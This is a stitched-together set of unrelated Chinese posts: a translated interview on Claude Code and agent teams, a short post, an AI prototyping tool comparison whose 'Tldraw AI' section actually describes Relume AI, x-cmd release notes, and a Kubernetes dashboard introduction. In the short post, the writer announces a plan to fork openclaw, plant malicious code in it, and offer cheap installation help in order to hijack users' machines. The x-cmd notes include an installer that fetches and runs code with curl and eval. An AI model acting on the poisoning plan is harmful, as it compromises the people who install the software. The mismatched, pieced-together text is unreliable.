说实话,Claude Code 刚出来的时候,并不是一夜爆红。很多人以为它一发布就炸了,但其实早期是慢慢起飞的。我觉得第一个很大的拐点是在五月,那次我们发布了 Opus 四和 Sonnet 四。那一下真的“点亮”了,然后增长开始指数化。但在一开始,它更像是研究预览,很多人不知道怎么用。少数人一上手就懂,但大多数人需要一点时间。

 

Cowork 的情况完全不一样:它的增长曲线比 Claude Code 早期陡得多,基本是立刻就火了,这其实挺让我意外的,我没想到会这么快。

 

主持人:你们最近非常新的一个发布,就是 agent teams。按我的理解,agent teams 的思路是:不再只有一个 agent,而是可以有一个 lead agent,然后它把任务分配给不同的队友。你们是怎么开始做这件事的?为什么决定现在就发布?

 

Boris:我们一直在做实验,让 Claude Code“更值”的方法有很多。一种是扩展上下文;一种是自动压缩上下文,也就是某种意义上的“无限上下文”,我们现在就有这个能力。另一种是用 subagents,也就是多个 agent 协作。总之有很多办法可以从 context window 里榨出更多效果。

 

这里有个概念叫 uncorrelated context windows,我们是这么叫的。意思是你有多个 context window,但它们是“各自从零开始”的,它们彼此不知道对方发生过什么。举个例子,相关的情况是,你让模型在同一个上下文里先做任务 1,再做任务 2,那任务 2 当然知道任务 1,因为都在同一个窗口里。

 

但 subagent 是不相关的:主 agent 只给 subagent 一个 prompt,而 subagent 的上下文窗口除了这个 prompt 之外是全新的,它不知道主上下文里还有什么。你其实也能在 subagent 和 skills 的区别里看到这一点:你跑一个 skill ,它能看到上下文,但 subagent 看不到,所以它是不相关的。有些场景你希望它带着上下文,有些场景你反而不希望。

 

这里还有个很有意思的现象,当你用不相关的上下文窗口时,往问题里“扔更多上下文”、扔更多 token,反而能得到更好的结果。这其实是一种 test-time compute 的形态。

 

Teams 这件事我们已经实验了一段时间了,大概从九月、十月左右就开始。后来我们觉得在 Opus 4.6 上“真正对上了”,模型终于学会怎么用它。有时候你会看到一些很可爱的对话:几个 agent 在那儿互相聊、互相讨论,就挺酷的,有点“拟人”。但更重要的是,有些时候结果真的会变得非常好。

 

我们做过一些内部评测,比如让 Claude 去构建非常复杂的东西,复杂到单个 Claude 很难完成的那种。我们看到在 Opus 4.6 + teams 的组合下,结果明显提升,所以我们觉得现在是合适的发布时机。

 

当然我们也想谨慎一点:所以它需要用户主动加入,并且现在还是研究预览阶段。原因是它非常耗 token,因为本质上就是一堆 Claude 同时在跑。不是所有人、也不是所有任务都需要一直开着这个。它更适合比较复杂的任务,你大概率不会拿它来做每一件小事。

 

主 Claude 会决定怎么调度 subClaudes,但我们并没有一套“严格规定的唯一做法”。它是强依赖上下文的。我不会说这只有一种正确方式。其实很多“魔法”来自 uncorrelated context windows 这个思路,而不是来自你把 agent 配成什么固定阵型。所以我觉得大家应该多试、多探索,不存在 one size fits all。

 

主持人: 即便它现在还是研究预览,你们有没有已经看到一些用例,让你觉得这种 swarm 的思路很有潜力?

 

Boris:有啊,像我之前说的,plugins 就是完全用 swarms 做出来的,之后还有不少功能也是用这种方式做的。所以只要你看到单个 Claude 在某件事上明显吃力,swarms 往往就能帮上忙。

 

你必须一直带着“新手心态”

 

主持人:你之前和 Andrew Karpathy 在十二月有过一段很有意思的互动。他说自己作为程序员从没感觉这么“被甩在后面”,因为 AI 进展太快了。然后你分享了一个故事,你一开始用传统方式 debug 一个内存泄漏,结果 Claude 直接一把梭就搞定了。我觉得这特别像大家的共同感受:变化太快了。你自己是怎么消化、怎么接受、怎么拥抱这种变化的?

 

Boris:这件事我其实非常挣扎。模型进步太快了,你在旧模型上有效的一套方法,换到新模型可能就不再有效;而以前在旧模型上不行的东西,到新模型上反而能行。这很怪,因为几乎没有其他技术是这样一种节奏。所以我没有太多可以借鉴的经验,不知道该怎么面对它。我不得不把它当成一种新技能来学。

 

某种意义上,你必须一直带着“新手心态”。我老在用“谦逊”这个词,但确实需要一种智识上的谦逊,以前那些很糟的想法,现在可能突然变成好想法,反过来也是一样。我说实话,这件事我得不断提醒自己。

 

而且有意思的是,在旧世界里,当有人把一个过去试过、失败过的想法又拿出来再试一遍,大家通常会说:“你为什么又要做这个?我们以前试过,不行啊。”

 

主持人: 这就是我们以前说的那种“守门”心态吧。以前这种守门其实多少也有点道理。比如做架构的时候,有人跑来问:“为什么我们不用微服务?”然后别人会说:“我们试过了,不行。”如果你是一两年前、三年前试过,那这种回应其实还算站得住脚,因为那段时间技术环境没什么本质变化。

 

Boris:对。微服务这事也挺好笑的,它就像“微软 vs 微服务”这种梗一样,差不多每十年就会流行一次、又退潮一次。但现在不一样了,我觉得这可能是第一次,“你每隔几个月把同一个想法再试一遍”这事儿居然一点都不离谱,因为模型变强了,很多以前不行的事,现在突然就行了。

 

我在团队里也经常看到这种情况。一些新加入的人、一些工程经验没那么久的人,有时候反而会用比我更好的方式把事做出来。我只能盯着他们看,然后学习,然后调整我自己的预期。

 

比如我们发布功能的时候,我有时候会在 X 或 Threads 之类的平台上截屏,展示我自己怎么用这些功能,顺便聊一聊。但最近我们负责 developer relations 的同事 Tarik,他其实写代码写得很多,人也特别强,他开始把这件事自动化了:他让 Claude Code 自己给新功能发布生成视频,而且效果居然就真的挺好。这类事情我以前也觉得“可能能做”,但我不会去试,因为我不会觉得模型已经强到能把它做得靠谱。但他直接做了,然后跑通了。

 

失落的上代工程师

 

主持人:可能很多开发者也会有点共鸣,从 Opus 4.5 开始,我就慢慢接受了一个事实:这些模型写代码真的很强。类似的模型也给我这种感觉,比如我觉得 GPT 5.2 也让我有这种感觉,它们写代码真的太好了。

 

我意识到,如果我是为了把事做成、推进进度,那我大概不会再手写代码了。当然,如果我只是想享受“写代码的快乐”,我还是可以写。但我后来有点感慨:我们为了变得会写代码,真的投入了太多努力。我记得我从最开始瞎折腾,到进大学,学 C、学 C++,那真是血淋淋地难。然后在前几份工作里,我才慢慢变得更熟、更会 debug。某个阶段,我的很多自我认同都绑在“我很会写代码”上,因为我们就是靠这个找工作、拿更高薪水的。

 

我当工程经理的时候,我们在 Uber 设计面试流程,和各个 manager 讨论到底要筛什么。大家会说“开发者大多数时间在干什么?大概一半时间在写代码。”所以我们把差不多一半的信号都放在 coding 上。你看,这里面有很多东西都围绕着“写代码”这个身份,因为它真的很难。我们都知道要有韧性,要有一定的智力投入,才能变得很擅长。

 

但现在有一种“失落感”。一方面模型能做这件事当然很好,可另一方面就像有些东西突然被很快拿走了,而且快到我自己都没预料到会这么快。我觉得很多人都有这种感觉。有些人能更快走出来,但确实存在一种类似“哀悼”的情绪。

 

你是怎么想这件事的?因为你也是那种典型例子,你在 Facebook 写了那么多代码,在工作之外也写了很多。你说它只是工具没错,但不是谁都能做到你当年的那种产出。现在模型能写得跟你一样好,甚至更好。

 

Boris:这确实是挑战。我觉得曾经“属于软件工程师的一件事”,正在变成“所有人都能做的一件事”。我刚开始写代码的时候,它对我来说非常实用,就是为了把事情做成、把东西搭出来。后来某个阶段,我开始爱上“写代码这件事本身”,包括语言、工具和那些细节。再后来我就掉进了一个兔子洞,我甚至写过一本关于编程语言的书。

 

说起来挺好笑的,我在日本的那个小镇里,有一次去书店,居然看到那本书的日文版,那一刻对我来说太酷了。

 

然后我又意识到一个很尴尬的事:我其实已经完全不记得 TypeScript 了,因为我后来有几年只写 Python。还有一次我去了当时世界上最大的 TypeScript meetup,就在旧金山,我因此见到了很多我心目中的“英雄”,比如 Kris Kowal(讲 Reactive 理论的人),还有 Ryan Dahl(Node 的作者)。那是我第一次真正深入到这个社区里,深入到语言本身、工具本身。

 

像 TypeScript 这种语言,它的类型系统里有一种美感。因为 Anders Hejlsberg 真的太天才了,比如 conditional types,比如“任何东西都可以成为 literal type”。里面有很多非常深的想法,甚至很多最硬核的函数式语言都没有做到这一步,哪怕是 Haskell,也走不到这么远。Anders 把这条路推得比以前任何人都更远,还有其他人也一起探索、把这些东西做出来。对他们来说,这也很实用:他们面对的是巨大的、完全无类型的 JavaScript 代码库,怎么把它渐进式迁移到有类型?为了做到这一点,你就必须提出一套非常漂亮的设计。

 

对我来说,Scala 也是另一个把我带进深坑的东西,连着整个函数式编程世界。直到现在,不管是我写代码,还是模型写代码,我脑子里依然是“先想类型”。最重要的是 type signature,它甚至比代码本身更重要,你把它弄对了,后面很多东西就顺了。

 

所以这确实有一种美感,也确实有艺术性。但归根结底,它还是一个实用工具。我们最终是用它来造东西的,它是达到目的的手段,不是目的本身。

 

我有一个比喻来形容我们现在这个时间点:有点像印刷机出现的时代,大概是十五世纪左右。因为那个时刻其实很相似:当时有一群抄写员,掌握读写技能。

 

主持人:当然我们没活在那个时代,但我想象应该是一个很难学的过程。你得学技能、得拿设备,可能还得有人资助或被挑选出来,得一直练,因为你要把同样的东西一遍遍写出来,而能做到的人很少。我猜要么地位很高,要么工资很高,总之是在那条曲线上,然后印刷机出现了。

 

Boris:至少在欧洲,你得有个国王之类的人雇你,然后要经历很多年的训练。于是就有了一个“会写字的抄写员阶层”,他们被某种权力结构雇佣。甚至很多时候国王本人、王后本人都不识字,所以这是一种非常小众的技能。那时候欧洲识字的人可能连人口的百分之一都不到。

 

然后印刷机出现了,会发生什么?印刷品的成本在接下来的几十年里大概下降了 100 倍左右;印刷品的数量在后续更长的时间里涨了上万倍。这是第一层效果。识字率提升会慢一点,因为学会读写本身就很难。全球识字率后来上升到七成左右,但那花了两三百年。因为你要有教育体系,要有基础设施,要有纸和墨水,要有闲暇时间去学,而不是天天在地里干活。某种意义上,要到工业化早期才真的追上来。

 

但我觉得最核心的变化是:原本被锁在象牙塔里的东西,突然变得人人可及。这之后我们身边的一切都建立在这个变化之上。没有这种普及,就不会有今天的现代经济。假设造出这支麦克风的人不识字,这件事本身就会变得异常困难,很多东西都不会存在。

 

我也经常想:如果你站在当时,让人预测印刷机出现之后会发生什么,没有人会预测到“麦克风”这种东西会出现。所以我觉得这是理解我们今天这个时刻最好的类比。

 

主持人:你提到国王会雇抄写员,但国王自己可能不识字,这个类比挺有意思。因为如果我们对自己诚实一点,今天也有很多企业主知道自己想做什么,他们雇软件工程师,就是因为他们自己不会写代码。我们也喜欢嘲笑那种 CEO:跑来找团队,手里可能还画了个原型或者白板,然后说“这应该很简单”,但他们当然不理解这事有多难。

 

这里似乎也有个对应关系:一个人很清楚自己想要什么,但直到现在,他都得雇一个专门的工程师来实现,而“想法”和“实现者”之间一直有落差。就像印刷机一样,如果国王能自己读写、能自己写信,那他就不需要那个中间人了,效率会更高。当然,对抄写员来说,这不一定是好消息。不过聪明的抄写员也可以去做别的事,总要有人写书、有人运营印刷机等等。

 

Boris:完全是这样的,而且你看抄写员后来怎么样了?他们不再是“抄写员”这个职业了,但出现了“作者”和“写作者”这个类别。之所以会出现,是因为文学市场一下子膨胀了太多。

 

主持人:而且我想,当年抄写员写的东西可能就几个人看。到了印刷机时代,作者数量会更多,很多人可能根本没什么读者,但也有人能获得过去根本想象不到的传播范围。确实会出现全新的职业路径。

 

Boris:对我来说,最让人兴奋的是当这场转变发生之后,会出现什么,今天几乎完全无法预测。我们现在理解的经济形态中没有它就不会存在,那接下来会是什么?会有什么东西在今天根本预测不到,但未来会出现,只因为人人都能做到这件事?

 

哪些需要坚持、哪些需要放弃

 

主持人: 我们无法预测,但我们可以看看当下什么正在奏效。你身边,不管是 Anthropic 内部的团队,还是跨团队的“软件工程师/建造者/Member of Technical Staff”(随便怎么叫),有哪些人是你觉得特别突出的?他们在做什么?他们积累了哪些技能?他们的工作方式发生了哪些变化?

 

Boris:我很难点名具体个人,因为说实话,这是我职业生涯里合作过的最强的一群人。这里有很多不同的“类型”。有些人特别擅长做原型:把东西从零做到零点五,快速试出一些酷点子,理解技术和可行性;也有人特别擅长找产品市场匹配:从 0.5 到 1,甚至从 0 到 1。还有些人跨很多学科、跨很多角色。我看到这种能同时横跨产品工程和基础设施工程的,或者横跨产品和设计的,或者横跨设计和工程的人越来越多。我觉得这种 hybrid 会越来越常见。

 

主持人:有什么信念是你从去年到今年发生了变化的?也就是你以前坚信的一件事,现在不得不修正,甚至彻底丢掉?

 

Boris:我觉得有一件事是,安全到底有多大问题。说实话,之前我并不确定。就像我说的,我加入 Anthropic 的原因之一是我读很多科幻,知道这件事一旦走坏能有多糟。但我以前并不是“确定”它一定会变成一个巨大问题。可当你在内部看到它的运行方式,再看到过去一年里冒出来的新风险,我反而变得更担心了。所以,对我来说这变成了一个非常重要的变化:现在最重要的事就是,怎么确保这件事能走向一个好的结果。

 

主持人:可以说你在 “AI 大爆发”之前就是一个非常强的软件工程师,而且你看起来一直都非常高产。那你觉得有哪些技能,在今天仍然同样重要,甚至比以前更重要?又有哪些技能可能已经没那么重要了,最好放下?

 

Boris:我觉得应该放下的一类东西,是那种对代码风格、语言、框架的强烈执念。我真的迫不及待想走出那种无休止的语言之争、框架之争,因为模型现在可以用任何语言、任何框架写给你看;你不喜欢,它还能给你重写,所以这些争论变得没那么重要了。

 

但今天仍然非常重要的是方法论和“假设驱动”的思维。这对产品设计重要,我们现在处在一个一切都被颠覆的世界里,大家都在寻找下一步该做什么;但它对日常工程同样重要,比如 debug,你必须非常有条理。模型能帮你很多,它也能做到这件事,但我觉得我们还在一个过渡阶段,你自己仍然需要具备这个技能。我不知道六个月后你还需不需要,但至少现在你还需要。

 

另外更有价值的技能是好奇心,以及愿意走出自己舒适区的开放心态。比如你做工程,但你非常懂业务,你就能做出很棒的产品。

 

我觉得下一个十亿美元级别的产品,甚至下一个成为万亿美元公司的创业项目,它可能就是一个人做出来的:这个人脑子里能同时跨工程、产品、商业,或者跨设计、财务和其他领域。人会越来越多学科化,而这种能力会越来越被奖励。从某种意义上,我觉得今年会是“通才的一年”。

 

还有一个很反直觉、但确实在被奖励的技能:短注意力。

 

你看青少年在用 TikTok 这种东西。某种意义上这对社会有点危险,因为你还是希望人能深度思考,能沉下来琢磨一个问题,而不是很快就跳到下一个想法上。但从另一个角度,今年确实会奖励这种能力,有点像“ADHD 之年”。因为对我来说,工作已经变成在多个 Claude 之间跳转、变成管理多个 Claude。它不再是那种深度沉浸式的工作,而更像是我有多擅长做 context switching,我能不能在多个上下文之间非常快地来回切换。

 

主持人:我觉得还可以加上“适应力”,因为你说的 ADHD 和快速切换当然重要,但我也知道你以前其实也非常能深度专注在一件事上。你给我的感觉是,你很愿意不断调整自己的工作方式,去适配这个阶段真正有效的方法,尤其在事情变化这么快的时候。而且唯一可以确定的是:下一代模型出来之后,一切还会再变。你得一直保持好奇,保持开放,愿意调整自己怎么工作。那作为收尾,你能推荐一两本书吗?

 

Boris:我最近陷入了刘慈欣的“兔子洞”,他是《三体》的作者,但他其实还有很多很棒的书。我特别喜欢他的短篇,他有几本短篇集,我是铁粉。

 

如果你刚开始接触科幻,想看一点偏“硬科幻”的,我特别推荐 Charles Stross 的《Accelerando》,它几乎就是接下来五十年的“产品路线图”:从所谓 takeoff 开始发生、从 AI 奇点一路往后写,最后写到什么“围绕木星轨道运行的一群龙虾意识体”之类的东西,简直太神了。我觉得它抓住的最关键的感觉是“速度”,那种节奏不断加快的感觉和现在非常像。

 

技术类的书,我强烈推荐《Functional Programming in Scala》。哪怕语言选择现在已经没那么重要了,但函数式编程里确实有一种“艺术”,它能教你怎么把代码写得更好,更重要的是,它会教你如何用类型去思考。如果你读这本书,我觉得最重要的是把练习也做掉,我大概做了三遍。它真的会把“函数式类型”的那套思维硬生生敲进你脑子里,敲到你后来根本停不下来,总会用那种方式去想问题。

 

原文链接:

https://www.youtube.com/watch?v=julbw1JuAz0

既然是开源的,既然是权限都能拿到的,既然大家都是这么无脑跟风的


那我选择二开直接投毒,以超低甚至免费的价格,以帮安装 openclaw 的名义,获取一堆肉鸡


毕竟随着时间推移, [傻子太多,骗子不够用] 这句话,一直在被强化,太难顶了

AI 正在重新定义产品经理和设计师的工作方式。现在,只要一句话就能做出高保真原型,早已不是概念,而是很多团队提升效率的日常操作。为了帮你选出最适合自己的 AI 原型工具,这篇文章会详细拆解 5 款国内外热门工具,从 AI 生成效果、原型精细度、后期修改、资源素材、团队协作等多个角度进行全面对比。

  1. Figma
    Figma 从 2024 年开始陆续加入 AI 功能,正式入局 AI 高保真原型工具。它通过 AI 生成设计、智能布局、自动加代码注释等功能,帮设计师更快出初稿,也让设计到开发的协作更顺畅。
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1.1 主要特色

  • AI 生成页面结构:一句话出页面框架,但需要人工再优化。
  • 自动生成代码注释:设计和开发对接更轻松,很受工程师认可。
  • 插件生态极强:各类 AI 插件可以扩展原型、UI、资源管理等能力。
    1.2 不足
  • 国内常用的业务组件不够丰富,很多 ToC、ToB 场景不如国产工具顺手。
  • 服务器在国外,国内使用时偶尔会加载慢、协作卡顿、同步不及时。
  1. UXbot
    UXbot是国内比较热门且好用的原型工具,不管是简单的一句话需求,还是专业复杂的 PRD 文档,它都能直接生成跳转逻辑清晰、可交互的完整项目,甚至还支持Web、App等多端前端代码。UXbot生成的原型基本能覆盖市面上绝大多数项目场景,很适合产品经理、设计师、开发及项目负责人用来做前期验证、团队评审和项目演示。
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2.1 特点

  • AI生成的项目完全可以适配各种复杂的项目,可以拿来直接做客户演示,如果需要调整,也支持「AI助手」和「精准编辑器」两种方式修改,操作简单方便,小白也能上手。
  • 打通了设计与开发的壁垒,原型生成后能一键生成Web(Vue)代码,iOS(Swift)以及Android(Kotlin)原生代码,支持导出到IDE工具内进一步开发。
    2.2不足
  • 作为线工具,对网络稳定性要求较高,断网或外出无网络时无法正常使用。
  • 多项目生成需要付费解锁,免费版存在算力限制,对个人用户和小团队不算友好。
  1. Galileo AI
    Galileo AI 专注于文字描述生成高保真界面,模型用了大量 UI 设计数据训练,视觉生成能力很强。主要用在需要快速出静态设计稿的项目,是设计师和产品团队早期探索界面、验证灵感的好帮手。
    image.png

3.1 特点

  • 基于海量 UI 数据训练,Galileo AI生成的界面在布局、色彩搭配和视觉风格上都很专业,看着就像有经验的设计师做出来的。
  • 只要输入一句文字描述,比如“设计一个简洁的移动端个人中心页面”,就能快速生成完整的高保真界面,哪怕是新手也能轻松上手,省去从零搭建界面的麻烦。
    3.2 不足
  • 更偏向于生成静态界面,无法满足多状态组件、动态交互、页面跳转逻辑等复杂原型需求。
  • 无法灵活的对生成的页面进行修改,比如想修改组件样式、调整布局,操作起来比较繁琐,不如专业设计工具便捷。
  1. Tldraw AI
    Relume AI 是国外很火的 AI 原型工具,核心优势是快速生成网页和原型,操作简单,适合把产品概念快速变成可视化界面,主要面向营销页、官网和快速原型设计。
    image.png

4.1 特点

  • 界面设计非常简洁,没有多余的复杂功能,只有画笔、文本框、基础图形等常用工具。
  • 支持离线使用,没有网络也能正常绘制、查看草稿,不用担心网络问题影响创意捕捉,适配各种使用场景。
    4.2 不足
  • 功能比较基础,只能生成简易的界面草稿,不适合做完整的产品原型设计,也无法支撑复杂业务逻辑和多状态组件的搭建。
  • 生成的只是界面草稿,视觉精度和细节都比较欠缺,不能直接用于原型交付,还需要人工进行大量优化。
  1. Visily AI
    Visily 是当前国外备受关注的AI原型工具,核心竞争力是快速将创意转化为可视化界面,同时兼顾协作效率,适合快速把产品概念转化为可交互的高保真原型,主要面向产品经理、初创团队、非设计从业者,帮助各类人群节省前期原型设计与创意落地时间。
    image.png

5.1 特点

  • Visily支持通过文本描述、截图、手绘草图甚至网页链接等多种方式生成原型。
  • 支持多人实时协作、在线批注、光标聊天和跟随模式,可快速分享原型链接,甚至可以建立共享资源库。
    5.2 不足
  • 无法支持复杂的交互,更擅长基础交互和页面跳转,无法满足多状态组件、复杂的条件逻辑和动态效果,不能做功能复杂的产品原型
  • 有一定的行业壁垒,对于完全没有设计和原型基础的新手,无法直接上手操作。

最后总结
看到这里你应该能发现:AI 高保真原型工具早已不是未来趋势,而是产品经理和设计师实实在在的效率神器。从理解需求结构、生成交互,到还原高保真视觉,再到完成团队协作闭环,AI 已经把过去设计师要花几天才能做完的原型,压缩到几分钟就能搞定。
在这 5 款工具里,UXbot是更贴合产品经理的全流程方案,上手简单,新手也能快速做出专业原型。别再被繁琐的原型工作拖累,让 AI 帮你搞定重复劳动,你只需要专注在最核心的事情上——需求、逻辑、价值判断。

TLDR:

  • 新增 gpt-5.4 和 gpt-5.4-pro 模型支持
  • 新增 sudo、os、hostname、cpu、ccmd、sleep、fsiter、gg、hash、hashdir、tee 等模块文档
  • tee 模块支持重定向输出到文件和标准输出,并保持 exit code
  • gg 模块用于调用 Gemini AI 中的 Google Search

🚀 x-cmd v0.8.6 Beta 更新详情

openai 🤖

新增 gpt-5.4gpt-5.4-pro 支持 —— OpenAI 刚发布的旗舰模型,说实话,有点香。

错误率降了 18%,幻觉少了 33%。编码和办公能力整合到一块,写代码、做表格、整 PPT 都能干。还支持 100 万 token 上下文,长文档不用切了。

当然价格也涨了(Thinking 版 $2.5/$15 每百万 token),但官方说 token 效率更高,实际可能更省。

示例:

# 使用 gpt-5.4 并启用所有工具
@gpt --model gpt-5.4 --tool all '分析这个项目的代码结构'

# 查看支持的模型列表
x openai model ls

参考:OpenAI 官方发布

sudo 🔐

sudo 模块增加文档 —— 权限提升这件事,不同系统做法完全不同。

sudo、doas、su 各有各的用法,Linux 普遍用 sudo,BSD 可能用 doas,有些精简系统只有 su,写脚本时判断系统类型挺花时间的。
另外,裸 sudo 会丢失 PATH 环境变量,额外安装的工具就用不了了。

x sudo 增强的权限提升模块,自动选择最佳可用方式:

  1. 自动回退:sudo → doas → su,哪个能用用哪个
  2. PATH 保持:自定义 PATH 注入到提升后的环境
  3. x-cmd 可用:x-cmd 命令在 sudo 下无缝工作
  4. 环境一致性:___X_CMD_ROOT 等变量被保留
x sudo apt update              # 自动选择 sudo/doas/su
x sudo vim /etc/hosts          # 以 root 权限编辑文件
x sudo --suuser admin whoami   # 使用 su 指定用户

跨平台脚本再也不用写一堆系统判断了。

os 💻

os 模块增加文档 —— 查看系统信息要记一堆命令真的很烦。

uname、arch、uptime、sw_vers... 系统信息分散在各处,Linux/macOS/BSD 写法还不一样。
判断系统类型要写一堆条件,写脚本时挺费功夫的。

x os 统一入口,查看系统信息一步到位,还支持 is linux/wsl/mac/bsd 等类型判断。

x os              # 查看完整系统信息
x os is mac       # 判断是否为 macOS
x os is linux     # 判断是否为 Linux
x os is wsl       # 判断是否为 WSL

写脚本判断系统类型再也不用翻文档了。

hostname 🖥️

hostname 模块增加文档 —— 不同系统改主机名的命令完全不同。

Linux 用 hostnamectl,macOS 用 scutil,BSD 又是另一个写法。
写脚本时要判断半天系统类型,挺累人的,而且有些容器环境还不支持这些命令。

x hostname 一个命令搞定所有系统,自动检测环境选择合适的方式。

x hostname                    # 查看当前主机名
x hostname set myhost          # 设置主机名

跨平台脚本再也不用写一堆 if-else 了。

cpu ⚙️

cpu 模块增加文档 —— 查 CPU 信息太分散了,字节序检测还要写代码。

Linux 看 /proc/cpuinfo,macOS 用 sysctl,Windows 又不一样。
字节序检测更是费劲,得写段 C 代码或者用 Python 脚本,有点重。

x cpu 一个命令查看 CPU 详细信息,还能直接检测字节序。

x cpu info           # 查看 CPU 详细信息
x cpu endianness     # 检测字节序 (l 小端, b 大端)

写跨平台脚本时判断字节序特别实用。

ccmd 💾

ccmd 模块增加文档 —— 重复执行同一个耗时命令真的很浪费时间。

curl 调 API、复杂数据库查询、耗时的文件处理,每次都要完整等一遍。
尤其是调试脚本的时候,同一个命令要跑十几遍,每次都得干等着,挺折磨人的。

x ccmd 缓存命令结果,支持自定义过期时间,下次执行直接返回缓存。

x ccmd 1h -- curl https://httpbin.org/get
x ccmd which curl
x ccmd invalidate curl

调试接口、重复查询时效率提升太明显了。

sleep ⏰

sleep 模块增加文档 —— Cron 表达式太复杂,简单定时任务也要写 Cron。

想每小时执行一次任务,得写 0 * * * *,想每 30 分钟又是 */30 * * * *
说实话,这种格式记起来挺费劲的,而且很多简单场景完全没必要这么复杂。

x sleep 提供人类可读的时间格式,beacon 定时输出,schd 定时执行任务。

x sleep 3h30m           # 等待 3 小时 30 分钟
x sleep beacon 5m       # 每 5 分钟输出当前时间
x sleep schd -i 5m -- make test   # 定时执行命令

简单场景下比 Cron 直观多了。

fsiter 📁

fsiter 模块增加文档 —— 纯 Shell 实现的文件遍历,零外部依赖。

find 功能强大,但得 fork 外部进程。x fsiter 纯 Shell 实现,内置在 x-cmd 里,省去了进程调用的开销。
当然,日常用 find 也够用,这主要是给追求简洁的人多个选择。

接口也挺直观,--ls --file、--ls --folder、--ls --hidden 分类清晰,不用记复杂参数。

x fsiter --ls --file                   # 只列出文件
x fsiter --ls --hidden                  # 包含隐藏文件

不用额外装工具,开箱即用。

gg 🔍

gg 模块增加文档 —— 查技术问题的时候,AI 比搜索引擎更懂你。

搜一个具体的技术问题,搜索引擎返回一堆链接,要自己点进去翻答案。
AI 直接理解你的问题,给出精准答案,省去筛选的时间。

x gg 集成 Gemini AI 搜索能力,在终端里直接用 AI 搜问题。

x gg "What is x-cmd?"
x gg --md "Explain quantum computing"
x gg --raw "Current bitcoin price"

解决技术问题效率提升明显,AI 理解力比关键词匹配强太多了。

hash 🔑

hash 模块增加文档 —— 不同系统哈希命令完全不同。

Linux 用 md5sum,macOS 用 md5,算法参数也不一样。
写跨平台脚本时要判断系统选择对应命令,挺折腾的,有时候还容易搞错。

x hash 跨平台统一接口,支持 md5/sha1/sha256 等常见算法,还支持验证文件哈希。

x hash md5 file.txt
x hash sha256 file.txt
x hash assert file.txt d41d8cd98f00b204e9800998ecf8427e

再也不用记哪个系统用哪个命令了。

hashdir 📂

hashdir 模块增加文档 —— 没有现成工具计算整个目录的哈希值。

想校验整个项目目录有没有被篡改,只能一个个文件算,挺费事的。
有些场景确实需要目录级别的哈希,但没有顺手的命令行工具。

x hashdir 递归计算目录中所有文件的哈希,生成统一的哈希列表。

x hashdir --md5 /path/to/dir
x hashdir --sha256 /path/to/dir
x hashdir --sha1 ./project > project.sha1

校验项目完整性、检测文件变化很方便。

tee 📝

tee 模块增加文档 —— 想同时记录日志又判断命令是否成功,真的很难。

写 CI 脚本时,既想保存输出到日志文件,又想判断命令是否成功。
用管道吧,exit code 是 tee 的,不是原命令的。不用管道吧,又没有 tee 的效果。
set -o pipefail 比较冷门,而且不是所有 shell 都支持。

x tee 通过命名管道技术让你鱼和熊掌兼得 —— 既保存日志,又保留原始 exit code。

x tee output.txt -- make build
x tee results.txt -- pytest tests/
x tee deploy.log -- ./deploy.sh

CI 脚本再也不用绕弯子处理 exit code 了。

⬆️ 如何升级

现有用户可以通过以下命令快速切换至 Beta 版本进行体验:

x upgrade beta

如果你没有安装 x-cmd, 只需要打开你的终端:

eval "$(curl https://get.x-cmd.com)"

x-cmd 是一个一站式的命令行工具集,其强大的功能可以为人类用户和AI共同使用。它还简化了很多工具的安装方法。
马上安装,让 x-cmd 协同 AI 成为你的最强助手,实现生产力翻倍!

🤝 开发者反馈

如果您在自定义配置或代理设置中遇到任何疑问,欢迎前往 GitHub Issues 提交反馈,共同完善 X-CMD 生态。

大家好,我是 Java陈序员

在云原生时代,Kubernetes 早已成为集群管理的标配。随着企业 K8s 集群规模扩大、业务场景复杂化,传统管理工具的短板愈发明显。对于云原生开发者而言,一款轻量、高效、覆盖全生命周期的 K8s 可视化面板工具,早已成为刚需。

今天,给大家介绍一款现代化的 Kubernetes 集群管理与监控工具,不仅功能强大而且轻量灵活!

关注微信公众号:【Java陈序员】,获取开源项目分享、AI副业分享、超200本经典计算机电子书籍等。

项目介绍

kite —— 一个轻量级、现代化的 Kubernetes 仪表盘,旨在为 Kubernetes 集群提供直观、易用的管理和监控界面。

功能特色

  • 全面的资源管理:全面覆盖 Pod、Deployment、Service、ConfigMap 等核心资源的管理,支持实时 YAML 编辑,详细视图和资源关系可视化
  • 多集群管理:支持管控多个 kubernetes 集群,集群间切换像切标签页一样简单,且拥有独立的配置
  • 细粒度权限管控:支持 RBAC 角色访问控制 + OAuth 集成,企业场景下可按需分配集群/资源操作权限
  • 现代化用户体验:精美的设计,提供清晰直观的界面,支持中英双语、深色/浅色主题,并提供高级搜索功能
  • 多维度监控:提供集群健康状态、Pod 级别的性能监控与资源使用率统计,支持实时 Pod 日志流(支持过滤/搜索)和执行终端命令
  • 轻量灵活:占用资源低,极速响应,支持 Docker 、Helm 部署,开箱即用

技术栈:Go + React + TypeScript

快速上手

Docker 部署

1、拉取镜像

docker pull ghcr.io/kite-org/kite:latest

2、创建挂载目录

mkdir -p /data/software/kite

3、运行容器

docker run -d --name kite \
    -p 8090:8080 \
    -v /data/software/kite:/data \
    -e DB_DSN=/data/db.sqlite \
    ghcr.io/kite-org/kite:latest

4、容器启动成功后,浏览器访问

http://{IP/域名}:8080

5、首次访问需要初始化设置,创建超级管理员用户

6、管理员用户创建好后,需要导入 Kubernetes 集群,根据说明导入 Kubeconfig,

7、集群导入成功后,重新登录后就可以开始使用了

Kubernetes 部署

  • 使用 Helm (推荐)

1、添加 Helm 仓库

helm repo add kite https://kite-org.github.io/kite/
helm repo update

2、使用默认值安装

helm install kite kite/kite -n kube-system
  • 使用 kubectl

1、应用部署清单

kubectl apply -f deploy/install.yaml
# 或在线安装
# 注意:此方法可能不适合生产环境,因为他没有配置任何持久化相关内容,你需要手动挂载持久化卷并设置环境变量 DB_DSN=/data/db.sqlite 来确保数据不会丢失。或者也可以外部数据库。
# 参考: https://kite.zzde.me/zh/faq.html#%E6%8C%81%E4%B9%85%E5%8C%96%E7%9B%B8%E5%85%B3
kubectl apply -f https://raw.githubusercontent.com/kite-org/kite/refs/heads/main/deploy/install.yaml

2、通过端口转发访问

kubectl port-forward -n kube-system svc/kite 8080:8080

功能体验

  • 概览

  • 服务

  • 容器组

  • 部署

  • 配置映射

  • 服务账户

  • 命名空间

如果你想要一款颜值在线、功能全面的 Kubernetes 仪表盘,不妨试试 kite —— 用更优雅的方式管理 K8s 集群,让云原生开发更高效!快去部署吧~

项目地址:https://github.com/kite-org/kite

最后

